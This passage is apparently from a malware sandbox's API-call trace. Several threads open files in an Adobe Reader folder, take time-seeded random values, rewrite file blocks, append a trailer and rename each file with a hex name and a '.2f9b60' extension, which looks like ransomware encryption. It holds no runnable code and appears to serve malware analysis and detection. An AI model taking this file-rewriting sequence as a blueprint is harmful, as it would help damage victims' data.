0x1cdb2ea0 [0159.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42308000) returned 1 [0159.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2de0) returned 1 [0159.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5b90) returned 1 [0159.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0159.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308000 [0159.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5b90 [0159.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5b90) returned 1 [0159.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426b79b0 [0159.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426bb5c0 [0159.137] ReadFile (in: hFile=0x1184, lpBuffer=0x426b79b0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x33b0fc30, lpOverlapped=0x0 | out: lpBuffer=0x426b79b0*, lpNumberOfBytesRead=0x33b0fc30*=0x1e00, lpOverlapped=0x0) returned 1 [0160.914] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.914] WriteFile (hFile=0x1184, lpBuffer=0x426bb5c0, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x33b0fc34, lpOverlapped=0x0) [0181.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e160 [0181.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e190 [0181.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e190) returned 1 [0181.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426bb5c0) returned 1 [0181.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426b79b0) returned 1 [0181.527] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42308000) returned 1 [0181.528] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0181.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d2e190 [0181.528] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0181.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42308000 [0181.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e1c0 [0181.529] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e1c0) returned 1 [0181.529] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d2e1c0 [0181.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e1f0 [0181.530] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2e220 [0181.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2e220) returned 1 [0181.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42308000) returned 1 [0181.531] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0181.531] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x43104720 [0186.774] SetFilePointerEx (in: hFile=0x1184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.774] WriteFile (in: hFile=0x1184, lpBuffer=0x43104720*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33b0fd50, lpOverlapped=0x0 | out: lpBuffer=0x43104720*, lpNumberOfBytesWritten=0x33b0fd50*=0x108, lpOverlapped=0x0) returned 1 [0201.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0201.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500230 [0201.154] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500230) returned 1 [0201.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d2a0 [0201.154] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500230 [0201.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500200 [0201.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500200) returned 1 [0201.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0201.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.156] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1ce5d330 [0201.157] sprintf (in: _Dest=0x1ce5d330, _Format="%c%c" | out: _Dest="49") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d332, _Format="%c%c" | out: _Dest="55") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d334, _Format="%c%c" | out: _Dest="22") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d336, _Format="%c%c" | out: _Dest="f3") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d338, _Format="%c%c" | out: _Dest="24") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d33a, _Format="%c%c" | out: _Dest="cd") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d33c, _Format="%c%c" | out: _Dest="01") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d33e, _Format="%c%c" | out: _Dest="66") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d340, _Format="%c%c" | out: _Dest="30") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d342, _Format="%c%c" | out: _Dest="1a") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d344, _Format="%c%c" | out: _Dest="3c") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d346, _Format="%c%c" | out: _Dest="db") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d348, _Format="%c%c" | out: _Dest="9f") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d34a, _Format="%c%c" | out: _Dest="22") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d34c, _Format="%c%c" | out: _Dest="ed") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d34e, _Format="%c%c" | out: _Dest="6e") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d350, _Format="%c%c" | out: _Dest="7a") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d352, _Format="%c%c" | out: _Dest="94") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d354, _Format="%c%c" | out: _Dest="a6") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d356, _Format="%c%c" | out: _Dest="87") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d358, _Format="%c%c" | out: _Dest="be") returned 2 [0201.157] sprintf (in: _Dest=0x1ce5d35a, _Format="%c%c" | out: _Dest="88") returned 2 [0201.157] RtlInitAnsiString (in: DestinationString=0x33b0fdc8, SourceString="495522f324cd0166301a3cdb9f22ed6e7a94a687be88" | out: DestinationString="495522f324cd0166301a3cdb9f22ed6e7a94a687be88") [0201.157] RtlAnsiStringToUnicodeString (in: DestinationString=0x33b0fd98, SourceString="495522f324cd0166301a3cdb9f22ed6e7a94a687be88", AllocateDestinationString=1 | out: DestinationString="495522f324cd0166301a3cdb9f22ed6e7a94a687be88") returned 0x0 [0201.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x430a1390 [0201.158] wcscat (in: _Dest=0x43189ee0, _Source="495522f324c" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\495522f324c") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\495522f324c" [0201.158] wcscat (in: _Dest=0x43189ee0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\495522f324c.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\495522f324c.2f9b60" [0201.158] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\495522f324c.2f9b60", NtPathName=0x33b0fd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\495522f324c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x4314b320 Thread: id = 2606 os_tid = 0x2124 [0156.508] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sky")) returned 0x20 [0156.508] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SKY", dwFileAttributes=0x20) returned 1 [0156.509] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sky"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1638 [0156.509] GetFileSizeEx (in: hFile=0x1638, lpFileSize=0x33cdfba0 | out: lpFileSize=0x33cdfba0*=7680) returned 1 [0156.509] SetFilePointerEx (in: hFile=0x1638, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.509] ReadFile (in: hFile=0x1638, lpBuffer=0x33cdfb20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33cdfb68, lpOverlapped=0x0 | out: lpBuffer=0x33cdfb20*, lpNumberOfBytesRead=0x33cdfb68*=0x4, lpOverlapped=0x0) returned 1 [0159.382] SetFilePointerEx (in: hFile=0x1638, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3dd0 [0159.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e30 [0159.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3ec0 [0159.382] NtQuerySystemTime (in: CurrentTime=0x33cdfa60 | out: CurrentTime=0x33cdfa60*=132462177645094000) returned 0x0 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x50cac51e [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x312e9818 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x32859dfb [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x2bfa40d9 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x40093692 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x2e4fef69 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x2d562fa2 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x7d899eb1 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x1f69ff48 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x751fd42 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x650940b0 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x7686e124 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x30439cdc [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x750904b9 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x513702cf [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x6a40f672 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0xc08b0f6 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x2e955c72 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0xd936c85 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x44a02b08 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x6c84ee73 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x75170ead [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0xb5b5363 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0xab94e0d [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x48ef5e9e [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x9e62916 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x455daab1 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x334698d6 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x5fb5e3bb [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x511f884c [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x70842128 [0159.383] RtlRandomEx (in: Seed=0x33cdfa50 | out: Seed=0x33cdfa50) returned 0x5fc360da [0159.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3ef0 [0159.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb7370 [0159.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3f20 [0159.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb7370) returned 1 [0159.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3ec0) returned 1 [0159.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3dd0) returned 1 [0159.392] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0159.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb7370 [0159.393] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3dd0 [0159.393] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3dd0) returned 1 [0159.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426c2de0 [0159.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20464b40 [0159.470] ReadFile (in: hFile=0x1638, lpBuffer=0x426c2de0, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x33cdfa50, lpOverlapped=0x0 | out: lpBuffer=0x426c2de0*, lpNumberOfBytesRead=0x33cdfa50*=0x1e00, lpOverlapped=0x0) returned 1 [0160.740] SetFilePointerEx (in: hFile=0x1638, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.740] WriteFile (in: hFile=0x1638, lpBuffer=0x20464b40*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x33cdfa54, lpOverlapped=0x0 | out: lpBuffer=0x20464b40*, lpNumberOfBytesWritten=0x33cdfa54*=0x1e00, lpOverlapped=0x0) returned 1 [0165.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19950 [0165.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19830 [0165.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19830) returned 1 [0165.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20464b40) returned 1 [0165.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426c2de0) returned 1 [0165.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb7370) returned 1 [0165.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0165.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19830 [0165.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c060 [0165.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb7370 [0165.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19860 [0165.904] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19860) returned 1 [0165.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c19860 [0165.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c198c0 [0165.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19890 [0165.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19890) returned 1 [0165.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb7370) returned 1 [0165.905] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c060) returned 1 [0165.905] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c17900 [0165.906] SetFilePointerEx (in: hFile=0x1638, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0165.906] WriteFile (in: hFile=0x1638, lpBuffer=0x42c17900*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x33cdfb70, lpOverlapped=0x0 | out: lpBuffer=0x42c17900*, lpNumberOfBytesWritten=0x33cdfb70*=0x108, lpOverlapped=0x0) returned 1 [0184.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce19180 [0184.132] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cbc0 [0184.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0184.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2f0) returned 1 [0184.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d6a0 [0184.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0184.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b620 [0184.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b620) returned 1 [0184.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cbc0) returned 1 [0184.137] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce19180) returned 1 [0184.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x431aa720 [0191.857] sprintf (in: _Dest=0x431aa720, _Format="%c%c" | out: _Dest="94") returned 2 [0191.857] sprintf (in: _Dest=0x431aa722, _Format="%c%c" | out: _Dest="6a") returned 2 [0191.857] sprintf (in: _Dest=0x431aa724, _Format="%c%c" | out: _Dest="ac") returned 2 [0191.857] sprintf (in: _Dest=0x431aa726, _Format="%c%c" | out: _Dest="51") returned 2 [0191.857] sprintf (in: _Dest=0x431aa728, _Format="%c%c" | out: _Dest="91") returned 2 [0191.857] sprintf (in: _Dest=0x431aa72a, _Format="%c%c" | out: _Dest="26") returned 2 [0191.857] sprintf (in: _Dest=0x431aa72c, _Format="%c%c" | out: _Dest="de") returned 2 [0191.857] sprintf (in: _Dest=0x431aa72e, _Format="%c%c" | out: _Dest="e1") returned 2 [0191.857] sprintf (in: _Dest=0x431aa730, _Format="%c%c" | out: _Dest="e2") returned 2 [0191.857] sprintf (in: _Dest=0x431aa732, _Format="%c%c" | out: _Dest="54") returned 2 [0191.857] sprintf (in: _Dest=0x431aa734, _Format="%c%c" | out: _Dest="57") returned 2 [0191.858] sprintf (in: _Dest=0x431aa736, _Format="%c%c" | out: _Dest="7c") returned 2 [0191.858] sprintf (in: _Dest=0x431aa738, _Format="%c%c" | out: _Dest="d5") returned 2 [0191.858] sprintf (in: _Dest=0x431aa73a, _Format="%c%c" | out: _Dest="c9") returned 2 [0191.858] sprintf (in: _Dest=0x431aa73c, _Format="%c%c" | out: _Dest="c4") returned 2 [0191.858] sprintf (in: _Dest=0x431aa73e, _Format="%c%c" | out: _Dest="6a") returned 2 [0191.858] sprintf (in: _Dest=0x431aa740, _Format="%c%c" | out: _Dest="d8") returned 2 [0191.858] sprintf (in: _Dest=0x431aa742, _Format="%c%c" | out: _Dest="d5") returned 2 [0191.858] sprintf (in: _Dest=0x431aa744, _Format="%c%c" | out: _Dest="fc") returned 2 [0191.858] sprintf (in: _Dest=0x431aa746, _Format="%c%c" | out: _Dest="d3") returned 2 [0191.858] sprintf (in: _Dest=0x431aa748, _Format="%c%c" | out: _Dest="9c") returned 2 [0191.858] sprintf (in: _Dest=0x431aa74a, _Format="%c%c" | out: _Dest="83") returned 2 [0191.858] RtlInitAnsiString (in: DestinationString=0x33cdfbe8, SourceString="946aac519126dee1e254577cd5c9c46ad8d5fcd39c83" | out: DestinationString="946aac519126dee1e254577cd5c9c46ad8d5fcd39c83") [0191.858] RtlAnsiStringToUnicodeString (in: DestinationString=0x33cdfbb8, SourceString="946aac519126dee1e254577cd5c9c46ad8d5fcd39c83", AllocateDestinationString=1 | out: DestinationString="946aac519126dee1e254577cd5c9c46ad8d5fcd39c83") returned 0x0 [0191.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1cddec60 [0191.860] RtlFreeAnsiString (AnsiString="9") [0191.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431aa720) returned 1 [0191.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d6a0) returned 1 [0191.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2f0) returned 1 [0191.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c17900) returned 1 [0191.862] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19860) returned 1 [0191.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c198c0) returned 1 [0191.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19830) returned 1 [0191.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19950) returned 1 [0191.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3e30) returned 1 [0191.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3ef0) returned 1 [0191.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3f20) returned 1 [0191.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x42c31210 [0191.866] wcscat (in: _Dest=0x42c31210, _Source="946aac51912" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\946aac51912") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\946aac51912" [0191.866] wcscat (in: _Dest=0x42c31210, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\946aac51912.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\946aac51912.2f9b60" [0191.866] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\946aac51912.2f9b60", NtPathName=0x33cdfb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\946aac51912.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0191.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x42c37f50 Thread: id = 2607 os_tid = 0x2128 [0156.515] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.slv")) returned 0x20 [0156.515] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SLV", dwFileAttributes=0x20) returned 1 [0156.516] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.slv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x844 [0156.516] GetFileSizeEx (in: hFile=0x844, lpFileSize=0x34d9fbe0 | out: lpFileSize=0x34d9fbe0*=7680) returned 1 [0156.516] SetFilePointerEx (in: hFile=0x844, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.516] ReadFile (in: hFile=0x844, lpBuffer=0x34d9fb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x34d9fba8, lpOverlapped=0x0 | out: lpBuffer=0x34d9fb60*, lpNumberOfBytesRead=0x34d9fba8*=0x4, lpOverlapped=0x0) returned 1 [0159.098] SetFilePointerEx (in: hFile=0x844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2bd0 [0159.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2c90 [0159.098] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2d50 [0159.099] NtQuerySystemTime (in: CurrentTime=0x34d9faa0 | out: CurrentTime=0x34d9faa0*=132462177642286000) returned 0x0 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0xa5a0f39 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x7a82bd13 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0xd77513e [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x6680a7d [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0xfeb5054 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x48759979 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x5b19f5c4 [0159.099] RtlRandomEx (in: Seed=0x34d9fa90 | out: Seed=0x34d9fa90) returned 0x8d619ec [0159.099] RtlRandomEx (in: 